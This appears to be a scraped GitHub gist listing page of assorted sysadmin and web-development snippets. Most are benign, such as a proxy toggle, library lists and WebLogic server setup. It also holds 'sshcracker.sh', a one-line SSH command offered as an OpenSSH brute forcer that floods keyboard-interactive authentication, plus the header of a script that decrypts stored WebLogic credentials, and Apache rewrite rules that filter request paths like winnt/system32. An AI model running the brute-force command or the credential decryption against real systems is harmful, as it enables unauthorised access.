Skip to content

Instantly share code, notes, and snippets.

View miglen's full-sized avatar
👨‍💻

Miglen Evlogiev miglen

👨‍💻
View GitHub Profile
@miglen
miglen / jobsbg.py
Created August 26, 2015 07:25
Jobsbg viewcount
from BeautifulSoup import BeautifulSoup
import urllib2
import math
import re
# coding: utf-8
"""
Get job views from company postings in jobs.bg
"""
#!/bin/bash
#
# @description Script used to switch between prefork and worker mpm
# @author Miglen Evlogiev <miglen@hp.com>
# @version 0.1
# @date 3/9/14 18:03 PM CET
# @usage apachempm.sh <mpm_method> or status
# <mpm_method> = worker or prefork
# you may add it to your .bash_profile as alias apachempm="/path/to/apachempm.sh"
#
@miglen
miglen / proxy.bat
Created October 3, 2014 09:47
This is simple script which is using the Windows registry files to modify (disable/enable) the HP (or any other given) proxy. I find it annoying whenever I need to disable my proxy to go to my Internet settings and click like 10 times.
@echo off
rem HP Proxy switch on/off
rem Author: Miglen Evlogiev <code@miglen.com>
rem Date: 3/10/2014
rem Version: 0.1
setlocal ENABLEEXTENSIONS
set KEY_NAME=HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings
set VALUE_NAME=AutoConfigURL

Libraries

  • 960 Grid System - An effort to streamline web development workflow by providing commonly used dimensions, based on a width of 960 pixels. There are two variants: 12 and 16 columns, which can be used separately or in tandem.
  • Compass - Open source CSS Authoring Framework.
  • Bootstrap - Sleek, intuitive, and powerful mobile first front-end framework for faster and easier web development.
  • Font Awesome - The iconic font designed for Bootstrap.
  • Zurb Foundation - Framework for writing responsive web sites.
  • SASS - CSS extension language which allows variables, mixins and rules nesting.
  • Skeleton - Boilerplate for responsive, mobile-friendly development.

Guides

Libraries

  • jQuery - The de-facto library for the modern age. It makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.
  • Backbone - Backbone.js gives structure to web applications by providing models with key-value binding and custom events, collections with a rich API of enumerable functions, views with declarative event handling, and connects it all to your existing API over a RESTful JSON interface.
  • AngularJS - Conventions based MVC framework for HTML5 apps.
  • Underscore - Underscore is a utility-belt library for JavaScript that provides a lot of the functional programming support that you would expect in Prototype.js (or Ruby), but without extending any of the built-in JavaScript objects.
  • lawnchair - Key/value store adapter for indexdb, localStorage
@miglen
miglen / httpd-proxy.conf
Created July 15, 2015 13:02
Web proxy filters and rewrites
# Source: http://whatever.truls.org/proxyfilters.text.shtml
RewriteEngine On
RewriteOptions inherit
RewriteLogLevel 5
RewriteCond %{REQUEST_URI}?%{QUERY_STRING} (.*)rewritefiltertest(\x20*)any(.*) [NC,OR]
RewriteCond %{REQUEST_URI}?%{QUERY_STRING} (.*)rewritefiltertest(\x20*)end[$|\?(.*)] [NC,OR]
RewriteCond %{REQUEST_URI}?%{QUERY_STRING} (.*)XXXXXXXXXXXXXXXXXXXXXXXXX(.*) [NC,OR]
RewriteCond %{REQUEST_URI}?%{QUERY_STRING} ^(.*/)?(\x20*)winnt/(\x20*)system32/(.*) [NC,OR]
@miglen
miglen / sshcracker.sh
Last active August 29, 2015 14:25
OpenSSH brute forcer
#!/bin/bash
# usage ./sshcracker.sh ssh-username ssh-host wordlist.file
#
ssh -l$1 -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` $2

Disclaimer: I have no idea if this are indeed the correct answers. I just solved the exercises like this. I think that they are right though.

I have added my own code to this gist. It is ugly as hell, just like you can expect from code created in a contest like this.

Beautiful Strings

Difficulty: easy

It is simple to see that a greedy solution is good enough.

@miglen
miglen / WLST_new_manage_server.py
Created May 18, 2013 12:31
Script for creation of new manage server.
"""
Script for connecting and creating new Manage Server in WLS
@author: Miglen Evlogiev <wls@miglen.com>
@date 2:52 PM 5/18/2013
"""
#Variables
_username='system'
#!/bin/bash
#####################################################################
# This scipt is for decryption of lost username & password #
# located in boot.properties files of Managed & Admin Servers #
# in WebLogic Server. #
# #
# It scans for boot.properties files and decrypt their content #
# using integrated WLST scripting and SerializedSystemIni.dat #
# #